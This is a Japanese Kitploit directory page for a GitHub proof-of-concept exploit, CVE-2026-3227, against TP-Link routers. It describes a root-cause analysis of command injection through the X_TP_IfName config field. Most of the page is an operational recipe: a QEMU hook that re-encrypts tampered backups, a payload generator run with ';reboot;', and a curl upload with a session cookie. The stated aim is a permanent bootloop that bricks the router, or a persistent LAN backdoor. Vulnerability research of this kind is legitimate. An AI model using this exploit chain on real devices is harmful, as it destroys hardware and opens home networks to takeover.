Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-3227-TP-Link-authenticated-RCE — TP-Link ルーターファームウェアの認証済み OS コマンドインジェクションの概念実証。復号化、QEMU ベースの暗号化フック、永続的なブートループまたはバックドア展開用の 15 文字のペイロード生成を含みます。 | Kitploit
ツール/GitHubGitHub/do4choo/cve-2026-3227-tp-link-authenticated-rce
IoTセキュリティ脆弱性分析エクスプロイトリバースエンジニアリングウェブアプリケーション悪用ペネトレーションテスト学習と教育ファームウェア解析バイナリエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubdo4choo/cve-2026-3227-tp-link-authenticated-rce

CVE-2026-3227-TP-Link-authenticated-RCE

TP-Link ルーターファームウェアの認証済み OS コマンドインジェクションの概念実証。復号化、QEMU ベースの暗号化フック、永続的なブートループまたはバックドア展開用の 15 文字のペイロード生成を含みます。

リポジトリを見る
4212522ヶ月前Kitploit レビュー済み

CVE-2026-3227: TP-Link ルーター OS コマンドインジェクション

CVE Status Hardware Language

詳細情報については https://www.cve.org/CVERecord?id=CVE-2026-3227 を参照

TP-Link ルーターファームウェアにおける持続的かつ認証済みの OS コマンドインジェクションの脆弱性。デバイスの文鎮化や潜在的な LAN 乗っ取りにつながる可能性があります。

免責事項: このリポジトリには、パッチ適用済みの脆弱性に対する概念実証(PoC)コードが含まれています。教育目的およびセキュリティ研究者向けに提供されています。

エグゼクティブサマリー

複数の TP-Link ルーター(TL-WR802N、TL-WR841N、TL-WR840N を含む)の設定バックアップ/リストア機能に、コマンドインジェクションの脆弱性が存在します。管理者アクセス権を持つ攻撃者は、ルーターの設定をダウンロードし、復号化して、特定の XML フィールドに悪意のある OS コマンド(最大15文字)を注入し、再暗号化してデバイスにアップロードし直すことができます。

ルーターが設定を適用するとき(たとえば、ポートトリガーイベント時や起動時)、注入されたペイロードが root として実行されます。これは、持続的なブートループを引き起こす(ファクトリーリセット後も生き残り、デバイスを恒久的に文鎮化する)ために使用されたり、LAN ピボッティング用の持続的なバックドアを有効にするために使用されたりする可能性があります。


発見の経緯(どのように見つけたか)

ルーターの設定バックアップ機能を調査している際、httpd バイナリと libcmm.so ライブラリをリバースエンジニアリングして、設定ファイルがどのように暗号化・解析されるかを理解することにしました。

  1. 復号化: ルーターの設定ブロブを復号化する Python スクリプトの作成に成功し、基盤となる XML 設定を読み取ることができました。
  2. シンクの発見: XML パラメータを分析する過程で、サニタイズなしでシステム実行関数に直接渡されるインジェクションエンドポイントを発見しました。
  3. 暗号化の難題: 暗号化アルゴリズムを再現するのは困難でした。コードをリバースし、Python と C でアルゴリズムを再実装しようと試みたにもかかわらず、ルーターが受け入れる暗号化ファイルを生成できませんでした。
  4. 回避策(QEMU フッキング): 車輪の再発明をする代わりに、攻撃的なエンジニアリング手法を取りました。qemu-user を使用してルーターのアーキテクチャをエミュレートし、ランタイムでルーターのオリジナルの httpd バイナリをフックしました(create_config.c)。これにより、Python の PoC からルーターのネイティブな暗号化関数を直接呼び出し、元の暗号化形式を完全に模倣することができました。

技術的な詳細 / 根本原因分析

この脆弱性は、暗号化された設定ブロブを製品が解析し、実行時に適用する方法にあります。ポートトリガー設定パスでは、実装がユーザー制御可能なフィールドを使用してシェルコマンドを構築しますが、適切なサニタイズが行われていません。

具体的には、関数 oal_pt_addPortTrigger が次の呼び出しを行います:

root@kitploit:~
util_execSystem("oal_pt_addPortTrigger",
  "iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
  &local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);

%s 書式指定子には、アップロードされた XML 設定から直接解析されたインターフェース文字列(X_TP_IfName)が挿入されます。

実行フロー:

  1. アップロード: http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTrigger
  2. 解析: oal_pt_addPortTrigger が forward_parsePtOpenPort を呼び出してポートリストを解析します。
  3. 実行: システムは iptables コマンド文字列を構築し、util_execSystem(system() をラップする)を介して実行します。

復号化した XML を次のように変更することで:

root@kitploit:~
<X_TP_IfName val=";reboot;"/>

このコマンドは、起動時やポートトリガーイベント発生時のインターフェース初期化中に実行されます。ペイロードは 15文字 に制限されているため、エクスプロイトの作成にはコンパクトなコマンド実行テクニックが必要です。

概念実証(PoC)

著作権で保護された TP-Link バイナリを配布しないために、この PoC では、独自の QEMU フックを介してネイティブの暗号化ライブラリを利用するために、ルーターのファイルシステムを自分で抽出する必要があります。

前提条件

  • qemu-mipsel とクロスコンパイラ(gcc-mipsel-linux-gnu)
  • Python 3 と依存関係(pip install pycryptodome)
  • binwalk -Me <firmware.bin> を使用して抽出したファームウェア

ステップ 1: 環境の準備

  1. 対象ファームウェアを抽出し、squashfs-root ディレクトリをこのプロジェクトの python_utils/ にコピーします。
  2. QEMU フックをコンパイルします:
    root@kitploit:~
    mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
    

ステップ 2: 悪意のある設定の生成

  1. ルーターにログインし、設定バックアップ(config.bin)をダウンロードします。
  2. ペイロードジェネレーターを実行します:
    root@kitploit:~
    python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
    
    注: ペイロードは15文字を超えてはなりません。

ステップ 3: curl で設定をアップロードします(私のルーターのアップデート機能は単なる飾りで、実際には何も機能しませんでした)。

root@kitploit:~
curl -X POST "http://192.168.0.1/cgi/confup" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://192.168.0.1/mainFrame.htm" \
  -H "Origin: http://192.168.0.1" \
  -H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
  -F "[email protected];type=application/octet-stream"

ステップ 3: エクスプロイトをトリガーする

  1. ルーターが再起動して設定を適用したら、Forwarding -> Port Triggering に移動します。
  2. 新しいポートトリガーを追加(例: ドロップダウンから "Battle.net" を選択)して保存します。
  3. 注入された OS コマンドが root として実行されます。;reboot; を使用した場合、ルーターはすぐに再起動し、持続的なブートループに入ります。
ツールをダウンロード